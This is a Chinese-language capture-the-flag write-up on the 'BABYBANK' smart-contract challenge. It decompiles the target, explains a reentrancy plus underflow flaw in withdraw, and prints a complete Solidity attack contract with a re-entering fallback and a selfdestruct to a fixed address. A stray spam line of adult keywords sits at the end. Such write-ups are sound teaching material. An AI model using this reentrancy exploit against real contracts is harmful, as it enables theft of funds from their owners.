<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    BABYBANK

    我們通過合約地址進行逆向得到合約的逆向代碼(https://ethervm.io/decompile/)

    由代碼分析我們得出代碼中的關鍵函數分別為:guess、profit、transfer、withdraw。 且合約中存在兩個關鍵變量:balance(余額)以及level(一種標記)。

    在審計合約之后我們發現 profit函數:每個賬戶只允許調用一次,并發送錢包1 token;

    guess函數需要level值為1且調用后余額+1、leve+1 ;

    而transfer函數滿足必須balance與level同時為2才能調用,且調用后收款方余額變為2,且轉賬方余額變為0 ;

    withdraw函數表示取款,且合約會將以太幣轉給msg.sender。

    然而漏洞點就在withdraw中。熟悉區塊鏈的人都知道此處使用.call方法進行轉賬,而這種方法會調用收款方的fallback函數,從而引發重入攻擊。

    于是我們利用此來進行攻擊。我們還看到withdraw中還存在如下方法:

    當存在減法且沒有判斷時,我們就可以認定這里存在溢出,然而要滿足溢出條件需要storage[temp2]<temp1。可是前面代碼加了判斷,所以我們需要在中間調用.call時進行對余額的操作從而讓其減小。 我們可以在合約調用如下句子的時候調用收款人的fallback函數從而再次執行withdraw,加入合約余額為2,轉賬金額設置為2。而在中間進行調用可以很好的繞過余額的檢測,從而達成2-2-2的情況,從而溢出。

    貼上攻擊合約

    contract hack{
        babybank a;
        uint count = 0;
        event log(uint256);
        constructor(address b)public{
            a = babybank(b);
        }
        function () public payable {
            if(count==2){
                log(3);
            }else{
                count = count + 1;
          a.withdraw(2);
            log(1);
            }
        }
        function getMoney() public payable{}
    
        function hacker() public{
            a.withdraw(2);
            log(2);
        }
        function payforflag1(string md5ofteamtoken,string b64email) public{
            a.payforflag(md5ofteamtoken,b64email);
        }
    
        function kill() {
    
          selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
        }
    
    }

    • 1 由于合約本身沒有以太幣,所以我們先生成合約A調用自殺函數給題目轉錢。
    • 2 進行轉賬操作,我們使用賬戶B分別調用profit()、guess()、transfer()給C賬戶轉2token。
    • 3 當C有了2token便可以進行攻擊,調用hacker函數即可。

    PS:由于合約需要前四位為“b1b1”的賬戶,所以我們需要https://vanity-eth.tk/ 來生成相應的賬戶B。

    調動成功后在郵箱收到flag

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类